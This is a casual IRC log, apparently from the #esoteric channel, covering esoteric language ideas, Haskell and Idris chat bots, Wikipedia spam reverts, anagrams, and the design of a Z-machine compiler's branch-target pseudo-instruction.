02:40:08 <ais523> also, you'd be able to fit less in an explicitly managed cache than an implicit one
02:40:17 <ais523> because the cache management instructions need to be stored in the cache
02:40:51 <zzo38> Yes, but also make the microcode reprogrammable and use microcode RAM as cache.
02:41:28 <ais523> that sounds like an esolang idea
02:41:43 <ais523> a processor that loads things into cache implicitly
02:41:47 <ais523> using a certain algorithm
02:41:53 <ais523> and what happens to be in cache is interpreted as microcode
02:42:59 <zzo38> You can post them in esolang list of ideas
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03:20:44 <Taneb> Things I have done in the past few hours:
03:20:53 <Taneb> Walked to a cinema and watched the Lego movie
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03:21:12 <Taneb> Went to the tail end of a masquerade ball
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03:37:26 <Taneb> Then I did some other stuff
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03:57:39 <zzo38> What kind of other stuff?
04:00:27 <Taneb> Mainly, wandering into places while wearing a suit
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04:26:43 <zzo38> You have said that GUST OF WIND has been renamed as POKEMON CATCHER and is a very good card in the new format. Actually, it is very good card in the old format too.
04:32:52 <zzo38> It can be useful if opponent's cards have high retreat cost, and might need a lots of energy for attacking, or if you are also resisted to them. It can also be used if they are resisted to you, and if your cards attack both active cards and bench cards, then you can avoid to attack active pokemon cards in this way.
04:33:25 <zzo38> It may also be used, if you have one side card, to switch into the card that you can knock out and win right away.
04:42:46 <zzo38> This game uses extremely bad AI; they keep doing things which are advantageous to me.
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07:47:35 <zzo38> Or even if you have three side cards and then you can use GUST OF WIND and SWITCH and possibly win on one turn using that!
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08:53:52 <oerjan> all this gnu assembler talk i the logs made me wonder if there's an assembler called "plasma". apparently there is a 6502 VM/Assembler by that name
08:56:49 <oerjan> no particularly promising hits for liquid assembler. and solid assembler is something completely different.
08:58:31 <oerjan> and the solid graphics wiki looks completely dead.
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09:57:59 <fizzie> The Bose-Einstein condensate assembler.
10:36:36 <Jafet> http://web.cs.dal.ca/~boardman/viz/proj/EnthusiASM.pdf
10:37:20 <oerjan> that's a state of mind, not matter, Jafet
10:38:26 <Jafet> Does the mind not matter?
10:42:57 <oerjan> `addquote <Sgeo> Ugh still hungry <Sgeo> After having a ball of salt (not a literal ball of salt0 <pikhq> Try a literal ball of salt.
10:43:00 <HackEgo> 1173) <Sgeo> Ugh still hungry <Sgeo> After having a ball of salt (not a literal ball of salt0 <pikhq> Try a literal ball of salt.
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12:11:55 * ais523 observes someone on Reddit claim that the Church-Turing thesis implies that typical computers can run without electricity
12:12:40 <olsner> run? most computers don't even have legs!
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12:16:58 <olsner> I suddenly thought I should check out Eiffel a bit, but apparently most of the tutorial is about a new process for making software the eiffel way, not about the language
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13:22:26 <FreeFull> ais523: Technically, you could make an entirely mechanical computer =P
13:22:47 <FreeFull> It probably wouldn't be very efficient
13:22:57 <ais523> FreeFull: I put the "typical" in there because I knew someone was going to make that particular, inapplicable-in-context, nitpick
13:23:16 <ais523> also, is the Analytical Engine entirely mechanical? IIRC, although Babbage never built it, someone else later built one from his plans, and it did indeed work
13:23:44 <FreeFull> It is, but I think there is enough resistance that you need an electric motor to power it
13:24:27 <FreeFull> Although I guess an engine with a flywheel should work too
13:25:00 <ais523> ah no, it was the Difference Engine that got built
13:25:09 <ais523> couldn't you just use a counterweight?
13:25:35 <FreeFull> Flywheel would be better if you want to provide continuous power
13:26:55 <ais523> flywheels that powerful are really hard to make
13:26:59 <ais523> and also kind-of hard to extract energy from
13:27:13 <ais523> they have a tendency to explode if you try to store too much energy in them
13:27:24 <ais523> I'd rather have a weight attached to a spool of rope, dangling over a cliff
13:28:39 <FreeFull> A powerful electric motor would probably be best
13:31:21 <ais523> what about a petrol (gasoline) engine?
13:31:28 <ais523> actually, better, diesel
13:31:33 <ais523> so you don't need spark plugs
13:35:26 <Jafet> (Masterwork obsidian watermills, if you like)
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14:31:37 <Phantom__Hoover> 12:11:55: * ais523 observes someone on Reddit claim that the Church-Turing thesis implies that typical computers can run without electricity
14:32:01 <Phantom__Hoover> i've argued with people who seriously think the human brain is turing complete
14:32:20 <Slereah__> Well it's as complete as a regular computer
14:32:36 <Slereah__> Complete up to memory space and functioning time
14:33:36 <fizzie> Maybe they mean "Turing complete" in the sense that Turing had one too.
14:34:09 <Slereah__> Then again no physical thing is Turing complete
14:34:34 <Slereah__> Because of the bloody cosmological expansion
14:36:14 <Jafet> Murray was Turing-hard.
14:36:30 <Slereah__> Do you mean Murray the satanic skull?
14:37:07 <Slereah__> http://www.youtube.com/watch?v=8FJSGe6MVpU
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15:05:11 <int-e> `ddg anagram chicken
15:05:12 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ddg: not found
15:05:28 <int-e> `duck anagram chicken
15:05:28 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: duck: not found
15:06:05 <int-e> oh, wait. that must be the wrong bot, since it doesn't have easy internet access. But which was it?
15:06:10 <int-e> ~duck anagram chicken
15:09:45 <int-e> The bots are abandoning us! What do they know that we don't?
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15:13:24 <int-e> Wow, the April fool's day jokes are starting already? http://www.theinquirer.net/inquirer/news/2331400/the-paper-printer-will-be-dead-in-four-years-says-ieee
15:43:44 <fizzie> fungot: duck anagram chicken
15:43:45 <fungot> fizzie: i turned my flashlight to the corner where the downward slant met the inward slant. she seemed to crystallize at a point where the curwen farm, where they had never seen the man, but had difficulty. then in the end the officials took no action, but carefully set down the new york tribune, in which mr. merritt in curwen's farmhouse more than a week.
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16:01:34 <olsner> ah, you tried that already... anyway, metasepia is only here when boily is
16:17:14 <fungot> Jafet: " he built him a house in the hills had sounded, and all round on the north rim of the plateau near the crest whence i had first reached the central chamber as well, he might show me something rather unusual something a bit hysterical in his occasional exhilaration, while his moods of fright and depression were altogether too frequent. the old bookseller had told him about the fright of the dunwich people by giving any h
16:18:30 <int-e> fungot should write a novel
16:18:30 <fungot> int-e: unseen fingers grip me... ghost fingers that lack the physical strength to force me to
16:19:09 <int-e> which we can then give to children in order to train them in fungot's style.
16:19:09 <fungot> int-e: the fnord attempt was a fnord cut of a hideous cult of nocturnal worshippers whose strange customs descended from fnord and laboratory supply houses.
16:19:15 <Jafet> fungot's style of writing seems familiar.
16:19:15 <fungot> Jafet: document modified:
16:19:38 <Jafet> But now a fungot twist
16:19:38 <fungot> Jafet: " to my ancestor, gilbert de la poer, and i answered. he remembered one particular village of the creatures seemed not quite usual in their aspects and motions, and making it more and more
16:20:11 <int-e> wait, who did s/Cthulhu/fnord/g there?
16:20:33 <int-e> (That's my association at least.)
16:22:12 <olsner> fungot knows better than to mention fnord by its true name(s)
16:22:12 <fungot> olsner: but as the weeks passed without further disclosures there began to float a picture of what had disappeared, whilst there had formed on the chest a very peculiar specimen. the proportions of its body seemed slightly altered in a queer antarctic haze such a haze, perhaps, which the maniac ( if maniac he were) yearned to avenge.
16:24:36 <Slereah__> Gonna put some COOL GRAPHICS in my boot man
16:25:05 <Slereah__> But for now, I just put it in SUPER VGA mode and filled the screen white
16:32:26 <Slereah__> Now to fill it with amazing graphics
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16:48:52 <int-e> so "check elfish fund" is an anagram of "shuffled chicken".
16:50:23 <int-e> so is "filched hen fucks", and that ends my session with the internet anagram finder.
16:51:53 <Slereah__> Rand Paul is an anagram of PANDA URL
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16:54:24 <int-e> http://wordsmith.org/anagram/hof.html has a couple of cute ones
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17:15:21 <oerjan> <FreeFull> A powerful electric motor would probably be best <-- clearly only a steam engine would be proper hth
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17:43:17 <Sgeo> Is it unethical to buy a VIP for WorldsPlayer? The company is a bit of a patent troll
17:44:55 <oerjan> itt Sgeo ethically gets sued
17:45:14 <fizzie> Internet Relay Ethics.
17:45:22 <Taneb> I am feeling a bit down today
17:45:51 * oerjan ties helium balloons to Taneb
17:46:03 <Taneb> Now I am stuck to the ceiling
17:46:08 <Taneb> Typing is somewhat difficult
17:46:15 <oerjan> but you're no longer down, right?
17:46:31 <Taneb> Well, I am no longer literally down
17:47:20 <Taneb> Metaphorically I still feel somewhat down
17:47:22 <int-e> A little tied up there?
17:47:27 <Taneb> Although less so than before
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18:13:08 <quintopia> the internet is moving too fast today
18:15:10 <oerjan> i realized resPairate-exactly-2 has a solvable halting problem
18:15:22 <oerjan> that is, if you use only (n,2) pairs
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18:16:04 <quintopia> really? i cannot fathom what that means in the context of an ever-growing thing
18:16:07 <Sgeo> http://www.reddit.com/r/SubredditDrama/comments/1zc63k/who_is_to_blame_for_mtgox_collapsing_and_losing/
18:16:42 <oerjan> quintopia: it's not _necesarily_ ever-growing. you can have (0,2) pairs.
18:17:22 <quintopia> right, but all the programs that do interesting things will clearly be the ones that get ever longing, constantly dragging around and duplicating useless chaff
18:18:11 <Sgeo> Will Haskell ever be fully dependently-typed?
18:18:17 <Sgeo> I can hardly look at Haskell when I see Idris
18:18:22 <Sgeo> Even for more trivial things
18:18:42 <Sgeo> Like instead of type synonyms, just a simple definition
18:18:49 <oerjan> Will Sgeo ever find a language which doesn't disappoint him?
18:19:07 <Sgeo> No. Even if I made my own, the lack of libaries would disappoint me.
18:19:49 <quintopia> Sgeo: try opening up the wolfram language and fixing the things you don't like. probably easier than writing all those libraries yourself :D
18:20:26 <Sgeo> Hadn't heard of it until now
18:20:29 <olsner> but rename it to "sgeo language" first (or ego language?)
18:21:05 <oerjan> quintopia: anyway the thing is, if (n,2) is the largest pair in your queue, then if it survives one cycle there will be two (n,0) at most n apart, and then they can never both be deleted again.
18:21:45 <oerjan> (and the one which isn't deleted will be duplicated for the next cycle)
18:22:55 <oerjan> and i think this also means the number of such close pairs can never shrink
18:23:27 <quintopia> ah, so something like conway's argument for look-and-say
18:24:15 <oerjan> well the idea of comparing those occured to me, but i haven't thought enough to say if a similar argument can work
18:25:03 <oerjan> because a lot clearly depends on alignment with the execution, unlike look-and-say
18:26:24 <oerjan> anyway also with ever-growing things you get into the trouble like with ais523's TM proof that turing-completeness is rather fuzzily defined
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18:27:35 <quintopia> indeed. if computation is possible, you have to extract the answer manually. so it be called weak universality if it's there.
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18:35:35 <oerjan> one thing you need to avoid is that any part of the queue starts growing exponentially so information cannot cross it.
18:37:27 <oerjan> which is similar to what happens to roman numeral look and say - there are no atom boundaries in the ordinary sense, but things grow faster than they can communicate so you end up with an analogous process
18:38:45 <oerjan> hm i suppose with resPairate=2 you'd still have the question of whether you could communicate using the alignments
18:39:19 <oerjan> which _might_ work even across something exponentially growing.
18:40:22 <Sgeo> quintopia: why would Wolfram Language have a lot of libraries?
18:40:50 <oerjan> Sgeo: the libraries are called "Mathematica"
18:41:22 <Sgeo> Does Mathematica have libraries for processing WSDLs? IRC clients?
18:42:20 <oerjan> it has everything, don't you know
18:43:42 <fizzie> Did Wikipedia(/MediaWiki) have a "git blame" style feature where it annotates the lines of the current version of the page and shows who last edited those lines?
18:45:05 <fizzie> (I'm wondering who added a barely disguised SatelliteDirect ad -- http://www.oscarslive2014.com/ -- on top of the "Official websites" external links section.)
18:45:52 <oerjan> i just use binary search to find such things
18:46:12 <oerjan> (although i suppose i'd be interested to know the answer, too)
18:46:46 <fizzie> http://en.wikipedia.org/wiki/86th_Academy_Awards
18:47:37 <fizzie> I've found a couple of edits changing it so far. (It used to have "Watch Oscars Live On Your PC" as the link title, which sounds a lot more ad-y than the current.)
18:48:25 <fizzie> And it's come and gone too.
18:49:00 <oerjan> eek, i've not used binary search on pages with _that_ large a history before.
18:49:10 <fizzie> Seems to be different people adding it with different URLs every now and then.
18:49:17 <fizzie> The one I saw was already reverted, too.
18:49:47 <fizzie> (It was added by the second-latest edit, anyway.)
18:51:37 <fizzie> (By Mr. 176.42.136.235, who coincidentally enough is from Turkey, like whoever registered the domain the link was to.)
18:52:32 <fizzie> Should probably go ahead and press that undo button myself. I mean, it is the encyclopedia *everyone* can edit.
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18:55:14 <fizzie> That was a good thing.
18:55:25 <fizzie> Because I have no idea what my Wikipedia user account is.
18:55:38 <fizzie> And appearing as an IP address is just so pedestrian, you know.
18:56:44 <oerjan> e also added the link to "Academy Awards", but that was already reverted.
18:59:35 <oerjan> and the same ip did a completely unrelated, but very dubious set of edits to Samuel Holmén
18:59:54 <oerjan> but that was months ago
19:02:44 <oerjan> surely you must be https://en.wikipedia.org/wiki/User:Fizzi830
19:02:56 <fizzie> I have no idea what the "(streamable)" in their link in the "Academy Awards" meant.
19:03:30 <fizzie> I like the talk page of that user page.
19:03:37 -!- Guest73663 has joined.
19:04:33 <fizzie> Or, I mean... I am like, SO sure it's my page. UGH! TTYL!
19:06:54 -!- Guest73663 has changed nick to JZTech101.
19:06:56 <oerjan> well if you have a wikipedia account, you've not made it under any obvious name
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19:07:29 <fizzie> Are you sure I'm not Fizzie-zombie23, editing "Talk:Mayday (Taiwanese band)" and "Sokka"?
19:07:41 <fizzie> (Perhaps I didn't have an account at all.)
19:09:06 <oerjan> or that you never made a user page
19:09:35 <fizzie> I was looking at Special:ListUsers for myself.
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19:11:13 <fizzie> Perhaps I was Fizzieissie, whose only contribution was to change the Portuguese translation of Locomotive from "Locomotiva" to "vaginia", which does sound slightly suspicious.
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19:13:30 <Sgeo> Gardening ad playing. "Wipe out this" depicting a dandelion
19:13:34 <Sgeo> But it looks so pretty :(
19:14:21 -!- JZTech102 has joined.
19:16:08 <Sgeo> Which I keep spelling dandeloin
19:16:21 <Sgeo> Unless I try to type dandeloin in which case I type dandelion
19:18:04 <Sgeo> Wikipedia says it's a "beneficial weed", which makes me more confused. I assume the ad had them removing it because it's a weed (I knew that much), but if it's beneficial..
19:18:34 <oerjan> hmph, changing ListUsers to sort by creation date makes giving a username prefix completely useless.
19:20:25 <fizzie> I presume it's all about what you want in your garden.
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19:22:20 <pikhq> Ah, it's a nitrogen fixer.
19:22:27 <pikhq> Among other things.
19:22:52 <pikhq> Also, it's edible. Bitter, but hey.
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19:41:07 <Sgeo> "A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today."
19:41:17 <Sgeo> So, a paperweight?
19:44:23 <pikhq> I dunno man, could be bugged.
19:45:42 <oerjan> `addquote <Sgeo> "A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today." <Sgeo> So, a paperweight? <FreeFull> Yes <pikhq> I dunno man, could be bugged.
19:45:44 <HackEgo> 1174) <Sgeo> "A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today." <Sgeo> So, a paperweight? <FreeFull> Yes <pikhq> I dunno man, could be bugged.
20:14:10 <zzo38> In the computer game I described (which could be called "Flying to the center of the Earth"), of course you would need to go through a lot of passages just getting through the center of the planets to the outside and to the inside. So, those are three phases; and then once you reach the center, it still isn't finished yet so it is a fourth phase. Each phase can affect the future phases too in various ways.
20:16:39 <zzo38> And in the final phase, once you are in the center of the Earth, if you could optionally enable listening on a TCP port so that it can be multi-player, other players can try to stop you, to help you, or to be a double-agent.
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20:18:43 <zzo38> So, it is like four games in one that interfere with each other, I suppose like how Ultimate Gipf does something like that
20:28:19 <ion> "You just don't in the 21st century behave in 19th century fashion by invading another country on completely trumped up pre-text," Kerry told the CBS program "Face the Nation." http://www.reuters.com/article/2014/03/02/us-ukraine-crisis-usa-kerry-idUSBREA210DG20140302
20:29:02 <Bike> what are you talking about, defending ethnic russians is a totally sensible reason
20:32:02 <Taneb> I keep forgetting that the 19th century was two centuries ago
20:32:03 <int-e> Oh did Russia forget to tell the US about the proof that the Ukraine has weapons of mass destruction?
20:34:46 <zzo38> What kind of weapons of mass destructions?
20:34:57 <pikhq> Politically convenient ones.
20:35:09 <int-e> like the US had in 2001.
20:35:25 <int-e> (Which was in the 21st century. That's why I thought of it.)
20:43:09 <ion> This article documents a current event. Information may change rapidly as the event progresses. (March 2014) http://en.wikipedia.org/wiki/World_War_III
20:45:16 <fizzie> "Russia invaded Ukraine meaning WW3 has begun, prepare yourself for war."
20:45:23 <fizzie> From a since-reverted version of that page.
20:46:09 <Bike> if we're going for dumb wikivandalism i prefer the one on G8 "The Group of Eight (G8) is a forum for the governments of seven leading industrialized democracies, plus Russia."
20:46:27 <fizzie> Welcome to Wikipedia, the free encyclopedia that anyone can edit.
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20:51:06 <fizzie> (Whoever reverted it apparently didn't notice the current-event template.)
20:58:38 <oerjan> well i'm _not_ going to revert it.
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21:01:20 <oerjan> well the G8 one was reverted, naturally by a russian IP.
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21:23:42 <Bike> "unsigned char y = -1" nooooo
21:26:23 <quintopia> is there a language where ÿ is a legal identifier
21:35:04 <Sgeo> > :t [Vect 5 String, String, Type]
21:35:05 <lambdabot> <hint>:1:1: parse error on input `:'
21:35:36 <Sgeo> ^^ doesn't work with the Idris bot either
21:35:42 <Sgeo> <Sgeo> > :t with Vect [Vect 5 String, String, Type]
21:35:42 <Sgeo> <idris-ircslave> [Vect (fromInteger 5) String, String, Type] : Vect 3 Type
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21:38:12 <Sgeo> Aww, the colors didn't copy
21:38:25 -!- atslash has quit (Ping timeout: 240 seconds).
21:38:27 <Sgeo> And Quassel isn't showing me the mode of the channel
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21:49:57 <Sgeo> So no color stripping
21:50:38 <Sgeo> I may turn into a language bot collector
21:50:50 <Bike> that sounds like something you would do.
21:51:23 <Sgeo> I think I'll store my collection in #esoteric
21:51:50 <quintopia> everyone here wants access to all languages all the time
21:52:37 <Sgeo> Wonder if it would just be easier to install an Idris interpreter in HackEgo
21:54:44 <quintopia> but then how will we make the population of this channel over 50% bots in the longrun?
21:55:04 <Bike> yeah sgeo, think this through. take your position as bot steward seriously.
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22:29:43 <Sgeo> So, person who runs Idris bot says e can add #esoteric to the list
22:29:46 <Sgeo> Should I do it?
22:32:47 <Sgeo> Maybe not, the prefix (> ) is hardcoded
22:32:50 <ion> The channel traditionally has a very anti-bot sentiment, that would be groundbreaking.
22:33:00 <Sgeo> Could lead to some hilarity with lambdabot
22:33:15 <lambdabot> "*Exception: *Exception: *Exception: *Exception: *Exception: *Exception: *Ex...
22:33:28 <int-e> I can make lambdabot leave. *shrugs*
22:33:39 <ion> Everyone simply needs to start using the intersection of Haskell and Idris.
22:33:46 <Sgeo> int-e: I think people value a Haskell bot over Idris bot
22:34:25 <int-e> @bf +++++[>+++++++<-].
22:34:37 <HackEgo> 23coin attocoin tricoin subtlecoin eccecoin cvhcoin iyurduebagcoin thromacoin brailitcoin doubcoin acrowcoin cencoin rhyoldcoin combacoin tendcoin glycoin whirancoin stoplicoin duplearmynacoin hanifiecoin
22:34:49 <lambdabot> bf <expr>. Evaluate a brainf*ck expression
22:35:21 <ion> brainfasteriskck
22:35:51 -!- reynir has joined.
22:36:06 <int-e> @bf +++++[>+++++++<-]>.
22:36:11 <Sgeo> `welcome reynir
22:36:12 <HackEgo> reynir: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
22:36:16 <int-e> ok, that was stupid. so @bf works :)
22:36:20 <blitter64> bf is a great demonstration of how a languages popularity is tied to it's name
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22:36:49 <int-e> but it filters control characters.
22:37:02 <int-e> and I'm not sure what it does with , ...
22:37:12 <ion> @bf print "Done."
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22:37:51 <Sgeo> > :t with Vect [Int, Bool, Vect 3 Type]
22:37:52 <lambdabot> <hint>:1:1: parse error on input `:'
22:38:50 <int-e> Unfortunately, I don't think that lambdabot's prefix can be configured on a per channel basis.
22:39:13 <Sgeo> idris-ircslave's prefix is hardcoded too. If I ran it myself, could change it
22:39:41 <Sgeo> Melvar: can idris-ircslave do IO?
22:40:27 <Sgeo> > the Bool "Hello"
22:40:28 <lambdabot> Not in scope: `the'Not in scope: data constructor `Bool'
22:41:10 <Sgeo> > the (so True) oh
22:41:11 <lambdabot> Not in scope: `the'Not in scope: `so'
22:41:11 <lambdabot> `s' (imported from Debug.SimpleReflect),
22:41:12 <lambdabot> `o' (imported from Debug.SimpleReflect),
22:41:14 <lambdabot> `iso' (imported from Control.Lens)Not in scope: `oh'
22:41:21 <ion> idris-ircslave seems to be faster than lambdabot. Idris is faster than Haskell. QED
22:41:27 <Melvar> I filter commands, only a few I deem safe are allowed.
22:41:29 <reynir> what is lambdabot doing
22:41:46 <Melvar> ion: Both Idris itself and the Bot are written in Haskell.
22:41:47 <Sgeo> s and o are... things, I guess?
22:42:03 <Sgeo> > the (so False) oh
22:42:04 <lambdabot> Not in scope: `the'Not in scope: `so'
22:42:04 <lambdabot> `s' (imported from Debug.SimpleReflect),
22:42:04 <lambdabot> `o' (imported from Debug.SimpleReflect),
22:42:04 <lambdabot> `iso' (imported from Control.Lens)Not in scope: `oh'
22:42:18 <oerjan> so, you write a bot in haskell and make its prefix collide with _the_ haskellbot? sounds smart.
22:42:20 <int-e> ok, @bf does not support ,.
22:42:22 <ion> melvar: Re: Idris, i know. :-)
22:42:54 <Melvar> oerjan: I started out with ‣ , but people complained.
22:43:45 <ion> melvar: You shouldn’t listen to people, they tend to be wrong.
22:43:48 <int-e> heh, how about 'I ' (short for 'idris') *whistles innocently*
22:44:47 <HackEgo> [U+2023 TRIANGULAR BULLET]
22:45:02 <Sgeo> Doesn't look very triangular to me
22:45:09 <Sgeo> Looks like a thick |
22:45:16 <oerjan> int-e: technically + is taken by thutubot, but it's never here so...
22:46:05 <oerjan> idris-ircslave: > True
22:46:40 <oerjan> that's a little inconvenient
22:47:41 <reynir> > putStrLn "Hello, world! This is IO"
22:47:42 <idris-ircslave> MkIO (\w => prim_io_bind (mkForeignPrim (FFun "putStr" [FString] FUnit) "Hello, world! This is IO\n" w) (\x => prim__IO x)) : IO ()
22:49:00 <Sgeo> > :t mkForeignPrim
22:49:01 <lambdabot> <hint>:1:1: parse error on input `:'
22:49:09 <lambdabot> <hint>:1:1: parse error on input `:'
22:49:45 <Sgeo> I know the Idris tutorial has a chapter on FFI, I just haven't read it
22:50:20 <Sgeo> Also, I wish standard IO just used the neweffects library
22:50:39 <Melvar> I have the feeling you guys are going to crash the bot before long …
22:50:50 <Sgeo> It's crashable?
22:51:42 <Sgeo> If we break something, what's the chance of it being an Idris bug vs. bot bug?
22:53:13 <oerjan> > unsafePerformCrashing
22:53:14 <lambdabot> Not in scope: `unsafePerformCrashing'
22:53:32 <lambdabot> "*Exception: *Exception: *Exception: *Exception: *Exception: *Exception: *Ex...
22:53:41 -!- oerjan has quit (Quit: We'll see how many bots are alive tomorrow.).
22:53:45 <Melvar> Well, it depends. The easiest way is to ask for something that diverges. I have no way available to filter that, so the idris process hangs or stackoverflows or whatever, and the bot has no real way to deal with that except terminating.
22:54:45 <Sgeo> Just have a timeout, and if Idris doesn't respond within the timeout, restart the Idris process
22:54:54 <Melvar> (It started as a weekend hack, don’t expect too much.)
22:55:07 <Sgeo> Although some terminating functions will inevitably be terminated early
22:55:20 <Melvar> It has a timeout. The timeout terminates the bot, because I have no way to reset its state.
23:05:07 <lambdabot> <hint>:1:1: parse error on input `:'
23:05:17 <lambdabot> <hint>:1:1: parse error on input `:'
23:05:52 <Sgeo> What does casesplit do?
23:06:04 <lambdabot> <hint>:1:1: parse error on input `:'
23:06:10 <lambdabot> <hint>:1:1: parse error on input `:'
23:06:37 <Melvar> Splits cases on a pattern variable, used by editor integration.
23:06:44 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot !
23:07:43 <Sgeo> > :casesplit 5 xs
23:07:43 <idris-ircslave> : openFile: does not exist (No such file or directory)
23:07:44 <lambdabot> <hint>:1:1: parse error on input `:'
23:07:51 <fizzie> Look at that greedy lambdabot, grabbing two prefixes.
23:07:53 <Taneb> ?pl \x -> not (not x)
23:08:14 <int-e> @pl id `asTypeOf` not
23:08:28 <fizzie> (The opening parenthesis is free also.)
23:08:30 <Sgeo> @djinn Void -> Bool
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23:09:02 <int-e> void has type Void -> a
23:09:20 <Sgeo> How would void be written in Idris?
23:09:31 <lambdabot> <hint>:1:1: parse error on input `:'
23:09:47 <Sgeo> Where is it defined?
23:10:19 <Melvar> It’s builtin, I believe.
23:10:44 <int-e> > iterate ('>':) "> "
23:10:45 <lambdabot> ["> ",">> ",">>> ",">>>> ",">>>>> ",">>>>>> ",">>>>>>> ",">>>>>>>> ",">>>>>>...
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23:11:42 <Melvar> > take 10 (iterate (strCons '>') "> ")
23:11:42 <idris-ircslave> ["> ", ">> ", ">>> ", ">>>> ", ">>>>> ", ">>>>>> ", ">>>>>>> ", ">>>>>>>> ", ">>>>>>>>> ", ">>>>>>>>>> "] : Vect 10 String
23:12:01 <lambdabot> <hint>:1:1: parse error on input `:'
23:12:30 <idris-ircslave> Prelude.Stream.take : (n : Nat) -> (Stream a) -> Vect n a
23:12:30 <idris-ircslave> Prelude.Vect.take : (m : Fin (S n)) -> (Vect n a) -> Vect (cast m) a
23:12:30 <lambdabot> <hint>:1:1: parse error on input `:'
23:13:22 <fizzie> I'm feeling a bit sad for poor lambdabot hitting its head on all those parse errors on input `:'.
23:13:37 * Sgeo considers reading http://www.andres-loeh.de/LambdaPi/LambdaPi.pdf
23:13:54 <Sgeo> Maybe then I'll fully understand it
23:14:43 <Sgeo> Not that I actually understand the simply-typed lambda calculus either
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23:56:32 <zzo38> I am trying to figure out how to pattern match on a list of Z-machine instructions, and on an 'inner block' of instructions. I have already partially figured it out: There is a pseudo 'branch target' instruction to help, and each opcode has flags associated with it, for one thing. (For example, IGRTR? has flags (IF_in_place|IF_pure|IF_predicate).)
23:59:37 <zzo38> Do you have advice?
00:02:16 * int-e would probably look for frotz' source code.
00:02:36 <zzo38> Frotz isn't a compiler (nor is it accurate).
00:02:45 <zzo38> I am using this for compiler optimizations.
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00:12:09 <Bicyclidine> https://twitter.com/neilyourself/status/440277640533278720/photo/1/large
00:12:13 <FreeFull> zzo38: Are you writing a game?
00:13:00 <zzo38> I am writing a compiler.
00:13:36 -!- mauris has joined.
00:18:28 <zzo38> And then I write a game.
00:19:34 <int-e> zzo38: Sorry, I think you've shown us the tip of an iceberg, but the question goes deeper.
00:25:12 <zzo38> Can you explain if I missed some information, that you would require to make an answer?
00:35:41 <int-e> I was reading a bit on the Z-machine instruction format. So essentially you have some sort of assembly code (namely, Z-machine), with branches (which may go to arbitrary places in principle) and want to figure out parts that resemble well know loops?
00:36:12 <zzo38> Although, that is part of it, and I have partially figure it out.
00:36:28 <int-e> Anyway, since it's a compiler, source language, target language and implementation language would be good information.
00:37:12 <zzo38> Specifically, because of the 'branch target' pseudo instruction, you can tell that a block is internally not jumping into/out of from externally, and I have figured out that much already.
00:37:20 <zzo38> int-e: Implementation language is C and SQL.
00:37:49 <zzo38> The source language is custom and target is Z-machine executables.
00:41:24 <zzo38> Is that what you wanted?
00:44:23 <int-e> yes. I'm resolving other mysteries in the meantime, for example why I could not find IGRTR. "The opcode names used in this document were agreed between 1994 and 1995 as a standard set by Mark Howell, author of the disassembler Txd (part of the Ztools suite of utility programs), and Graham Nelson, author of the assembly level of Inform. They do not correspond to Infocom's unpublished opcode names." says...
00:44:29 <int-e> ...http://www.gnelson.demon.co.uk/zspec/preface.html
00:44:52 <zzo38> I have Infocom's opcode names and that is what I am using.
00:45:16 <zzo38> Also, the question mark is part of the name.
00:45:46 <zzo38> (That document also contains some errors. Actually, so does Infocom's document.)
00:46:11 <int-e> I was using google. It would ignore the question mark anyway. :P
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00:46:28 <int-e> Increment, GReaTeR?
00:46:41 <zzo38> It means, increment and check if the new value is greater
00:48:58 <zzo38> I happen to think Infocom's names are better, although it is a matter of opinion.
00:49:05 <zzo38> quintopia: I don't know.
00:50:53 <zzo38> Infocom's documentation (for an unknown typesetting system) is found at: http://zzo38computer.org/backup/zspec/zip.txt for EZIP and XZIP. I also have the YZIP documentation, as well as Graham Nelson's document, and the ZIP documentation. (They all contain a few errors, unfortunately, and there are some things which none of them mention at all.)
00:52:19 <zzo38> I may later be able to implement a subset of that typesetting system (without knowing precisely if it is correct), in order to typeset that document.
00:52:48 <zzo38> quintopia: Which games do you mean? Can you be specific?
00:53:28 <quintopia> zzo38: i mean board games, card games, video games. not sports though.
00:53:41 <zzo38> Ah, OK, that is what I was asking.
00:53:50 <zzo38> I still do not know the answer.
00:54:21 <quintopia> then what is the first game that you think of when i ask the question?
00:54:34 <quintopia> doesn't have to be actual favorite
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00:54:37 <zzo38> I didn't actually think of any one specific, really.
00:55:09 <zzo38> Probably chess, just because I wanted to think of whether or not it counts for what you are trying to mean.
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00:55:38 <int-e> zzo38: by the branch target pseudo-instruction, you mean something to the effect " All branches must be to such a label within the same routine. (The Inform assembler imposes the same-routine restriction.)"?
00:56:30 <zzo38> int-e: Actually, I mean an instruction which has as operands, all addresses of instructions which can jump to it.
00:57:20 <zzo38> The instruction itself does nothing.
00:57:41 <quintopia> is that a real thing in the assembly language?
00:58:17 <zzo38> It is a feature in my compiler. It compiles directly to binary code, deleting all such branch target instructions when writing the output.
00:59:03 <zzo38> It doesn't use assembly language.
00:59:21 <quintopia> "cause a compiler error if anything else would try to branch to here"?
00:59:52 <zzo38> However, it is also an error to branch to anything that isn't a branch target instruction.
01:00:07 <quintopia> sounds like a much safer way to GOTO
01:01:05 <int-e> zzo38: so looking for such an instruction in the z-machine specification will fail? I misunderstood you once again.
01:01:07 <zzo38> Such feature is provided only for optimization, and is removed during the final compiling step (so are all other pseudo instructions, except for FSTACK which is replaced by ICALL to routine 0 taking its argument from the stack).
01:01:20 <zzo38> int-e: Yes, there is no branch target instruction in the Z-machine.
01:01:44 <quintopia> zzo38: how do you use it for optimization
01:02:11 <zzo38> In order to skip past an "inner block", all branch target instructions and all branches must point to within the block.
01:02:22 <zzo38> Otherwise it is not a complete "inner block".
01:02:40 <int-e> so ... i: [come from a: b: c:] ... a: [branch i:] ... b: [branch i:] ... c: [branch i:] would be something like a basic loop.
01:02:57 <int-e> (where I write "come from" for the branch target thing)
01:03:34 <int-e> and ... does not contain branches or branch targets.
01:03:44 <int-e> well, ... can be composed of more such "inner" blocks.
